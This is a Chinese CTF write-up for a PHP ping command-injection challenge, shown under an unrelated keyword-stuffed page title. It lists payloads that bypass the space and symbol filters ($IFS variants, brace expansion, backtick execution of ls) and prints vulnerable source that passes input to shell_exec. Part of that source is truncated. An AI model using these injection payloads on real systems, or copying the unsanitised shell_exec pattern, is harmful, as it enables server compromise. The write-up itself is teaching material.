当前位置：首页 > wzjs >正文

哈尔滨座做网站的推广文章的推广渠道

wzjs 2025/8/27 10:24:10

哈尔滨座做网站的,推广文章的推广渠道,深圳做外贸网站公司,wordpress 二开解题步骤 1、先使用内敛执行查看当前的php文件执行命令执行发现空格被过滤 ?ip127.0.0.1$IFS|$IFSwhomi 还有一个点就是这个执行的命令是不能进行拼接的可能就是被过滤了 | 所以我们使用 ; 进行绕过一下空格过滤代替 $IFS ${IFS} ${IFS}$9 //这里$1到$9都可以 $IFS$1…

解题步骤

1、先使用内敛执行查看当前的php文件
执行命令执行发现空格被过滤 ?ip=127.0.0.1$IFS|$IFSwhomi
还有一个点就是这个执行的命令是不能进行拼接的可能就是被过滤了 | 所以我们使用 ; 进行绕过一下

空格过滤代替
$IFS
${IFS}
${IFS}$9 //这里$1到$9都可以
$IFS$1 //这里$1到$9都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能，需要用{}括起来
%20 (space) //在shell中无法直接使用%20代替空格，但是在URL编码中可以尝试，tab同理
%09 (tab)
?ip=127.0.0.1;cat$IFS`ls`
内敛执行 ： cat`ls` 就是查看 ls 执行结果的内容 这个其实就能执行拿下flag了

ctrl+u 查看源码
升级：
代码审计

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ // | 拼接执行全部鸡鸡
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
//过滤特殊的符号 preg_match（） 函数表示使用正则进行匹配
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!"); //过滤空格
} else if(preg_match("/bash/", $ip)){ // 不能使用反弹命令 bash
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //发现 f l a g 都是被过滤的 那我们不能在后面写flag了
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>